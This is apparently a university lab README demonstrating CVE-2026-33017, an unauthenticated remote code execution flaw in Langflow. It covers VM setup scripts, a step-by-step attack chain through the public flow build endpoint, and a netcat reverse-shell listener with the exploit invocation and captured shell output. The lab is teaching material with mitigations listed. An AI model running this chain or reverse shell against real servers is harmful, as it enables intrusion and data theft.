jorrit-vm/cve-2026-33017Educational lab demonstrating unauthenticated RCE in Langflow via CVE-2026-33017, with automated VM setup and a PoC exploit for reverse shell.
HoGent CyberSecurity II — Network Pentesting & Exploitation (NPE)
Academic year 2025–2026
This repository contains a complete lab environment and exploitation demonstration of CVE-2026-33017, a critical unauthenticated Remote Code Execution (RCE) vulnerability in Langflow ≤ 1.8.1.
An attacker without any authentication can execute arbitrary Python code on the server via the /api/v1/build_public_tmp/{flow_id}/flow endpoint, because user input is passed directly to Python's exec() without sandboxing or validation.
⚠️ Disclaimer: This repository is intended solely for educational purposes in a controlled lab environment. Use only on systems for which you have explicit permission.
┌─────────────────────────────────────────────────────┐
│ HOST MACHINE │
│ │
│ ┌──────────────────┐ ┌───────────────────────┐ │
│ │ Langflow-Victim │ │ Kali-Attacker │ │
│ │ Ubuntu 22.04 │ │ Kali Linux │ │
│ │ 192.168.56.101 │◄────│ 192.168.56.100 │ │
│ │ Langflow 1.8.1 │ │ PoC exploit tool │ │
│ │ port 7860 │ │ + internet (NAT) │ │
│ └──────────────────┘ └───────────────────────┘ │
│ Host-only network: 192.168.56.0/24 │
└─────────────────────────────────────────────────────┘
CVE-2026-33017/
├── README.md # This file
├── LICENSE
├── .gitignore
├── docs/
│ └── stappenplan.md # Full deployment & attack guide
└── scripts/
├── setup_vms.sh # Phase 1: Create VirtualBox VMs (HOST)
├── setup_victim.sh # Phase 2: Install Langflow 1.8.1 (Ubuntu VM)
└── setup_attacker.sh # Phase 3: Install PoC tool (Kali VM)
VBoxManage in PATHUbuntu_22.04-VB-64bit.vdi → rename to ubuntu-22.04.vdiKali_Linux-VB-64bit.vdi → rename to kali-linux.vdisetup_vms.shbash scripts/setup_vms.sh
# Credentials: osboxes / osboxes.org
sudo bash scripts/setup_victim.sh
# Credentials: osboxes / osboxes.org
sudo bash scripts/setup_attacker.sh
Terminal 1 — Reverse shell listener:
nc -lvnp 4444
Terminal 2 — Exploit:
cd ~/CVE-2026-33017-Langflow-RCE-PoC
source venv/bin/activate
python3 cve-2026-33017.py 192.168.56.101 --shell \
--lhost 192.168.56.100 --lport 4444
The PoC is installed automatically by
setup_attacker.sh.
PoC used: omer-efe-curkus/CVE-2026-33017-Langflow-RCE-PoC
| Step | Endpoint | Description |
|---|---|---|
| 1 | GET /api/v1/auto_login | Retrieves superuser JWT token (AUTO_LOGIN=true) |
| 2 | POST /api/v1/flows/ | Creates new public flow via API |
| 3 | POST /api/v1/build_public_tmp/{id}/flow | Injects CustomComponent with malicious Python code |
| 4 | exec() in validate.py:397 | Code is executed without sandboxing — RCE |
[] Fetching access token... [+] Public Flow ID created: 11571add-6416-4226-b8e6-844202cce6ff [] Sending reverse shell to connect back to 192.168.56.100:4444
Listener (Terminal 1): connect to [192.168.56.100] from (UNKNOWN) [192.168.56.101] 36160 $ whoami user $ hostname e37190a2f147 $ find /app -name "*.db" /app/.venv/lib/python3.12/site-packages/langflow/langflow.db
data parameterLANGFLOW_AUTO_LOGIN in productionHoGent — Applied Computer Science — CyberSecurity II — 2025–2026